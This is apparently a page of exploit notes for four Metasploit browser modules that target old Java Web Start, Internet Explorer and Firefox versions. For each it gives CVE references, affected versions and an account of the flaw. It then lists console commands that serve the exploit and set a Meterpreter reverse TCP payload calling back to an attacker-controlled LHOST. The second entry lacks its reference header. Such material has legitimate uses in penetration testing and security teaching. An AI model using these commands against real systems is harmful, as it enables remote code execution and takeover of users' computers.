Reference(s) :

CVE-2012-1533
OSVDB-86348
BID-56046
Oracle Java SE Critical Patch Update Advisory – October 2012
Rh0 Pastebin

Affected version(s) :

JSE 7 Update 7 and before
JSE 6 Update 35 and before

Tested on Windows XP Pro with :

JSE 7 Update 7

Description :

This module exploits a flaw in the Web Start component of the Oracle Java Runtime Environment. Parameters intial-heap-size and max-heap-size in a JNLP file can contain a double quote which is not properly sanitized when creating the command line for javaw.exe. This allows the injection of the -XXaltjvm option to load a jvm.dll from a remote UNC path into the java process. Thus an attacker can execute arbitrary code in the context of a browser user. This flaw was fixed in Oct. 2012 and affects JSE 6 Update 35 and before, and JSE 7 Update 7 and before. In order for this module to work, it must be ran as root on a server that does not serve SMB. Additionally, the target host must have the WebClient service (WebDAV Mini-Redirector) enabled. Alternatively an UNC path containing a jvm.dll can be specified with an own SMB server.

Commands :

use exploit/windows/browser/java_ws_double_quote
set SRVHOST 192.168.178.36
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.36

BID-58570
VUPEN Advanced Exploitation of Internet Explorer 10 / Windows 8 Overflow (Pwn2Own 2013)

Affected version(s) :

Microsoft Internet Explorer 6 through 10

Tested on Windows 7 Integral with :

Internet Explorer 8
ntdll.dll

Description :

This module exploits an integer overflow vulnerability on Internet Explorer. The vulnerability exists in the handling of the dashstyle.array length for vml shapes on the vgx.dll module. This module has been tested successfully on Windows 7 SP1 with IE8. It uses the the JRE6 to bypass ASLR by default. In addition a target to use an info leak to disclose the ntdll.dll base address is provided. This target requires ntdll.dll v6.1.7601.17514 (the default dll version on a fresh Windows 7 SP1 installation) or ntdll.dll v6.1.7601.17725 (version installed after apply MS12-001).

Commands :

use exploit/windows/browser/ms13_037_svg_dashstyle
set SRVHOST 192.168.178.36
set PAYLOAD windows/meterpreter/reverse_tcp

Reference(s) :

CVE-2013-0758
CVE-2013-0757
MFSA-2013-15

Affected version(s) :

Firefox 17.0.1 and previous

Tested on Windows 7 SP1 with :

Firefox 17.0.1

Description :

This exploit gains remote code execution on Firefox 17.0.1 and all previous versions, provided the user has installed Flash. No memory corruption is used. First, a Flash object is cloned into the anonymous content of the SVG “use” element in the(CVE-2013-0758). From there, the Flash object can navigate a child frame to a URL in the chrome:// scheme. Then a separate exploit (CVE-2013-0757) is used to bypass the security wrapper around the child frame’s window reference and inject code into the chrome:// context. Once we have injection into the chrome execution context, we can write the payload to disk, chmod it (if posix), and then execute. Note: Flash is used here to trigger the exploit but any Firefox plugin with script access should be able to trigger it.

Commands :

use exploit/multi/browser/firefox_svg_plugin
set SRVHOST 192.168.178.36
set PAYLOAD windows/meterpreter/reverse_tcp

CVE-2013-1347
OSVDB-92993
MSA-2847140

Affected version(s) :

Internet Explorer 8

Tested on Windows XP Pro SP3 with :

Internet Explorer 8

Description :

This module exploits a vulnerability found in Microsoft Internet Explorer. A use-after-free condition occurs when a CGenericElement object is freed, but a reference is kept on the Document and used again during rendering, an invalid memory that’s controllable is used, and allows arbitrary code execution under the context of the user. Please note: This vulnerability has been exploited in the wild on 2013 May, in the compromise of the Department of Labor (DoL) web site.

Commands :

use exploit/windows/browser/ie_cgenericelement_uaf
set SRVHOST 192.168.178.36
set TARGET 1
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.36
